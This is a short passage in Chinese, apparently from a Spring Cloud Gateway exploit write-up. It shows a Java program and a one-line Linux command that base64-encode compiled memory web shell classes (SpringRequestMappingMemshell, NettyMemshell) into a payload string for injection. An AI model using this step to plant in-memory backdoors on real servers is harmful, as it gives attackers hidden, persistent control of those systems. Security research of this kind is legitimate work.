使用以下代码

package org.springframework.cloud.gateway.sample;import org.springframework.util.Base64Utils;import java.io.*;
import java.nio.charset.StandardCharsets;public class EncodeShell {public static void main(String[] args){byte[] data = null;try {InputStream in = new FileInputStream("E:\\代审计划\\spring-cloud-gateway-3.0.6\\spring-cloud-gateway-sample\\target\\classes\\SpringRequestMappingMemshell.class");data = new byte[in.available()];in.read(data);in.close();} catch (IOException e) {e.printStackTrace();}String shellStr = Base64Utils.encodeToString(data);System.out.println(shellStr);try {OutputStream out = new FileOutputStream("ShellStr.txt");out.write(shellStr.getBytes(StandardCharsets.UTF_8));out.flush();out.close();} catch (IOException e) {e.printStackTrace();}}
}

或者linux中

base64 /root/Desktop/NettyMemshell.class